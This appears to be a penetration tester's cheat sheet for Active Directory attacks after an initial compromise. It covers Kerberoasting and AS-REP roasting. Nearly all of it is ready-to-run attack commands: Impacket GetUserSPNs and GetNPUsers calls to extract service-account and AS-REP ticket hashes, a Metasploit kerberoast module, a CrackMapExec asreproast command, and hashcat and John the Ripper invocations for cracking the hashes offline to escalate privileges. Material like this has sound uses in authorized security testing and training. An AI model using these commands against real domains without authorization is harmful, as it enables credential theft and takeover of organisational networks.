Authenticated (Post-Compsomise) Attacks

Kerberoasting

Why? Extract service account password hashes by requesting TGS tickets for accounts with SPNs, enabling offline password cracking.

Requirements: Valid domain user credentials (any domain user can perform Kerberoasting)

Attack value: Service accounts often have elevated privileges and/or weaker passwords, providing direct path to privilege escalation

Discovery and Extraction

Impacket Method

# Discover and extract Kerberoastable accounts
# It is recommended to use single quote to avoid interpreting special charecters like '$'
python3 GetUserSPNs.py <domain>/<username>:'<password>' -dc-ip <DC-IP> -request -outputfile kerberoast.txt

# Output to the terminal
python3 GetUserSPNs.py -hashes :<NTLM-hash> <domain>/<username> -dc-ip <DC-IP> -request

Metasploit Method

# Kerberoasting through Metasploit framework
use auxiliary/gather/kerberoast
set RHOSTS <DC-IP>
set DOMAIN <domain.com>
set USERNAME <username>
set PASSWORD <password>
run

Offline Cracking

# Hashcat cracking (mode 13100 for Kerberos TGS)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force

# John the Ripper alternative
john --format=krb5tgs kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt

---

AS-REP Roasting

Why? Target accounts without Kerberos pre-authentication to obtain AS-REP hashes for offline cracking.

Requirements: Domain credentials OR username list for unauthenticated attempts

Attack Value: Targets accounts with legacy compatibility settings, often easier to crack than TGS hashes

Discovery and Extraction

Impacket Method

# Extract AS-REP hashes from vulnerable accounts
python3 GetNPUsers.py <domain>/<username>:'<password>' -dc-ip <DC-IP> -request -outputfile asrep.txt

# Unauthenticated approach with username list
python3 GetNPUsers.py <domain>/ -usersfile users.txt -dc-ip <DC-IP> -no-pass

CrackMapExec Method

# Automated AS-REP roasting
crackmapexec ldap <DC-IP> -u '<username>' -p '<password>' --asreproast asrep_output.txt

Offline Cracking

# Hashcat cracking (mode 18200 for AS-REP)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force